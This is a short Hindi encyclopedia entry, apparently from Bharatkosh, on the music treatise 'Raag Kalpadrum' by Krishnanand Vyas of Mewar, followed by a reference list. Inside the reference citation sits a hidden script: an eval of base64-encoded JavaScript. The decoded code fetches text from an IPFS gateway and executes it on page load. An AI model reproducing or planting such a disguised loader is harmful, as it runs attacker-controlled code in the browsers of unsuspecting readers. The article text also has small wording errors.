राग कल्पद्रुम  

राग कल्पद्रुम की रचना मेवाड़ निवासी कृष्णानंद व्यास द्वारा की गई थी। इस ग्रंथ का सम्बन्ध संगीत से है।

  • मेवाड़ निवासी कृष्णानन्द व्यास के इस संगीत ग्रंथ का महत्व न केवल संगीत, बल्कि हिन्दी साहित्य में भी अपूर्ण है।[१]
  • 'राग कल्पद्रुम' के अनुसार 'जावनी' (जागो) एक उपाय है, जिसका विकास मुग़ल दरबार के प्रसिद्ध मियां तानसेन ने क्रिया था।
  • कृष्णानंद व्यास की रचनाएँ 'राग कल्पद्रुम' तथा 'राग रत्नाकर' में संग्रहित हैं।


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टीका टिप्पणी और संदर्भ

  1. उपकार राजस्थान वार्षिकी 2010 |प्रकाशक: उपकार प्रकाशन, आगरा |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 72 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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